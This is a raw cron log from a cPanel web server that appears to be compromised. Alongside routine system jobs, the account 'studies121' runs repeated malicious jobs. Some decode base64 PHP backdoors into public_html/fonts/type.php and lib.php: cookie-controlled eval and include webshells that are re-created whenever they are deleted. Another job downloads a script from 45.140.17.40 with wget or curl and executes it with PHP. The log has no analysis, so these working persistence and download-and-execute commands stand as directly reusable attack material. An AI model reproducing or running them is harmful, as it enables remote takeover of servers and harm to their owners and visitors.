Sep  9 02:34:01 ip-184-168-122-23 CROND[29399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:34:01 ip-184-168-122-23 CROND[29400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:34:01 ip-184-168-122-23 CROND[29401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:35:02 ip-184-168-122-23 CROND[29499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:35:02 ip-184-168-122-23 CROND[29500]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 02:35:02 ip-184-168-122-23 CROND[29501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:35:02 ip-184-168-122-23 CROND[29506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:35:02 ip-184-168-122-23 CROND[29505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:35:02 ip-184-168-122-23 CROND[29507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:35:02 ip-184-168-122-23 CROND[29510]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 02:35:02 ip-184-168-122-23 CROND[29512]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:36:01 ip-184-168-122-23 CROND[29602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:36:01 ip-184-168-122-23 CROND[29606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:36:01 ip-184-168-122-23 CROND[29605]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:36:01 ip-184-168-122-23 CROND[29607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:36:01 ip-184-168-122-23 CROND[29604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:37:01 ip-184-168-122-23 CROND[29765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:37:01 ip-184-168-122-23 CROND[29766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:37:01 ip-184-168-122-23 CROND[29768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:37:01 ip-184-168-122-23 CROND[29769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:38:01 ip-184-168-122-23 CROND[29888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:38:01 ip-184-168-122-23 CROND[29892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:38:01 ip-184-168-122-23 CROND[29893]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:38:01 ip-184-168-122-23 CROND[29890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:38:01 ip-184-168-122-23 CROND[29891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:39:01 ip-184-168-122-23 CROND[29985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:39:01 ip-184-168-122-23 CROND[29987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:39:01 ip-184-168-122-23 CROND[29988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:39:01 ip-184-168-122-23 CROND[29989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:39:01 ip-184-168-122-23 CROND[29991]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 02:40:01 ip-184-168-122-23 CROND[30075]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 02:40:01 ip-184-168-122-23 CROND[30077]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:40:01 ip-184-168-122-23 CROND[30081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:40:01 ip-184-168-122-23 CROND[30080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:40:01 ip-184-168-122-23 CROND[30085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:40:01 ip-184-168-122-23 CROND[30084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:40:01 ip-184-168-122-23 CROND[30082]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:40:01 ip-184-168-122-23 CROND[30086]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:41:01 ip-184-168-122-23 CROND[30193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:41:01 ip-184-168-122-23 CROND[30194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:41:01 ip-184-168-122-23 CROND[30196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:41:01 ip-184-168-122-23 CROND[30198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:42:01 ip-184-168-122-23 CROND[30275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:42:01 ip-184-168-122-23 CROND[30279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:42:01 ip-184-168-122-23 CROND[30278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:42:01 ip-184-168-122-23 CROND[30280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:42:01 ip-184-168-122-23 CROND[30277]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:43:01 ip-184-168-122-23 CROND[30360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:43:01 ip-184-168-122-23 CROND[30362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:43:01 ip-184-168-122-23 CROND[30363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:43:01 ip-184-168-122-23 CROND[30366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:44:01 ip-184-168-122-23 CROND[30530]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:44:01 ip-184-168-122-23 CROND[30529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:44:01 ip-184-168-122-23 CROND[30531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:44:01 ip-184-168-122-23 CROND[30535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:44:01 ip-184-168-122-23 CROND[30537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:45:01 ip-184-168-122-23 CROND[30623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:45:01 ip-184-168-122-23 CROND[30625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:45:01 ip-184-168-122-23 CROND[30629]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:45:01 ip-184-168-122-23 CROND[30626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:45:01 ip-184-168-122-23 CROND[30628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:45:01 ip-184-168-122-23 CROND[30627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:46:01 ip-184-168-122-23 CROND[30713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:46:01 ip-184-168-122-23 CROND[30715]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 02:46:01 ip-184-168-122-23 CROND[30716]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 02:46:01 ip-184-168-122-23 CROND[30717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
